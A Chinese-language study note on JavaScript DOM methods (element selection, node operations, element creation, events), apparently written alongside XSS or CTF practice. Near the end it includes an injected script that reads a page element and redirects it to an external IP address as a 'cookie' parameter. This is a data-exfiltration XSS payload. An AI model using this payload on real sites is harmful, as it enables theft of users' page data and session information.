DOM元素获取

基本元素

getElementById()方法

1
document.getElementById("intro");

返回带有指定ID的元素引用

getElementsByTagName

方法使用不区分大小写,甚至可以传入通配符*

1
var p = document.getElementsByTagName("p")[0];

返回带有指定标签名的所有元素集合

getElementsByClassName

1
document.getElementsByClassName("intro");

返回带有相同类名的元素列表

getElementsByClassName() 在 Internet Explorer 5,6,7,8 中无效

getElementsByName()

只对HTML文档有用,对XML不行,因为这是一个HTMLDocument类,因此它的调用方法也有些不同

1
2
3
4
<form name="wlk">
有两种写法
var form = document.wlk;
var form = document.getElementsByName("wlk");

document.querySelector 通过css选择器获得第一个匹配的元素对象

例子:

1
document.querySelector('#top > div.layui-container > div    :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
  1. #top: 选择元素的 ID 为 “top” 的祖先元素
  2. div.layui-container: 选择该祖先元素下的 class 为 “layui-container” 的 div 元素
  3. div: 选择上一步选择的 div 元素的直接子元素中的所有 div 元素
  4. :nth-child(4): 选择上一步选择的 div 元素的第四个子元素，即在其直接子元素中排在第四位的 div 元素
  5. div: 选择上一步选择的 div 元素的直接子元素中的所有 div 元素
  6. div.layui-table-box: 选择上一步选择的 div 元素的 class 为 “layui-table-box” 的子元素 div 元素
  7. div.layui-table-body.layui-table-main: 选择上一步选择的 div 元素的 class 为 “layui-table-body” 和 “layui-table-main” 的子元素 div 元素

document.querySelectorAll 通过css选择器获得所有匹配的对象

通过它客户端JavaScript程序可以选择它们想要操作的元素

特殊元素

document.documentElement 全部文档

document.body 文档的主体

操作属性值

element.innerText

从起始位置到终止位置的内容,但它去除html标签，同时空格和换行也会去掉

element.innerHtml

从起始位置到终止位置的内容,包括html标签，同时空格和换行会保留

设置属性值

1
2
3
4
5
6
7
8
9
10
11
12
13
<body>
    <button id="aaa">aaa</button>
    <button id="bbb">bbb</button> <br>
    <img src="images/aaa.jpg" alt="" title="aaa">
    <script>
        var ldh = document.getElementById('aaa');
        var img = document.querySelector('img');
        zxy.onclick = function() {
            img.src = 'images/flag.jpg';
            img.title = 'flag{test}';
        }
    </script>
</body>

节点操作

父节点获取

1
2
3
4
5
6
<script>
        // 1. 父节点 parentNode
        var erweima = document.querySelector('.erweima');
        // 得到的是离元素最近的父级节点如果找不到父节点就返回为 null
        console.log(erweima.parentNode);
    </script>

子节点

1
2
3
4
5
6
7
8
9
10
11
<script>
        // DOM 提供的方法（API）获取
        var ul = document.querySelector('ul');
        var lis = ul.querySelectorAll('li');
        // 1. 子节点  childNodes 所有的子节点 包含 元素节点 文本节点等等
        console.log(ul.childNodes);
        console.log(ul.childNodes[0].nodeType);
        console.log(ul.childNodes[1].nodeType);
        // 2. children 获取所有的子元素节点 也是我们实际开发常用的
        console.log(ul.children);
    </script>

第一个和最后一个子元素

1
2
3
4
5
6
7
8
9
10
11
12
<script>
        var ol = document.querySelector('ol');
        // 1. firstChild 第一个子节点 不管是文本节点还是元素节点
        console.log(ol.firstChild);
        console.log(ol.lastChild);
        // 2. firstElementChild 返回第一个子元素节点 ie9才支持
        console.log(ol.firstElementChild);
        console.log(ol.lastElementChild);
        // 3. 实际开发的写法  既没有兼容性问题又返回第一个子元素
        console.log(ol.children[0]);
        console.log(ol.children[ol.children.length - 1]);
    </script>

删除节点

node.removeChild()方法子节点,返回删除的节点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<button>删除</button>
<ul>
     <li>aa</li>
     <li>bb</li>
      li>cc</li>
</ul>
<script>
        var ul = document.querySelector('ul');
        var btn = document.querySelector('button');
        btn.onclick = function() {
            if (ul.children.length == 0) {
                this.disabled = true;
            } else {
                ul.removeChild(ul.children[0]);
            }
        }
 </script>

复制节点

1
2
3
4
5
6
7
<script>
        var ul = document.querySelector('ul');
        // 1. node.cloneNode(); 括号为空或者里面是false 浅拷贝 只复制标签不复制里面的内容
        // 2. node.cloneNode(true); 括号为true 深拷贝 复制标签复制里面的内容
        var lili = ul.children[0].cloneNode(true);
        ul.appendChild(lili);
    </script>

创建元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script>
	// 法一：效率最慢
    var inner = document.querySelector('.inner');
     for (var i = 0; i <= 100; i++) {
         inner.innerHTML += '<a href="#">百度</a>'
     }
     // 法二：效率最快
    var arr = [];
    for (var i = 0; i <= 100; i++) {
        arr.push('<a href="#">百度</a>');
    }
    inner.innerHTML = arr.join('');
    // 法三
    var create = document.querySelector('.create');
    for (var i = 0; i <= 100; i++) {
        var a = document.createElement('a');
        create.appendChild(a);
    }
</script>
1
<script>var inner = document.querySelector('.layui-container');  inner.innerHTML += '<a href="#">百度</a>' </script>

image-20230313160449827

1
<script>id=document.getElementById('result').innerHTML;alert(id);location.href=("http://39.105.125.61/x.php?cookie="+id);</script>

image-20230313175141221

事件

三要素不必多说:

事件源,事件类型,事件处理程序

1
2
3
4
5
6
<scipt>
    var dom =document.getElementById('ahhhhh');
	dom.onclick=function(){
        console.log("哈哈哈哈哈")
    }
</script>

常见鼠标事件

image-20230312181900991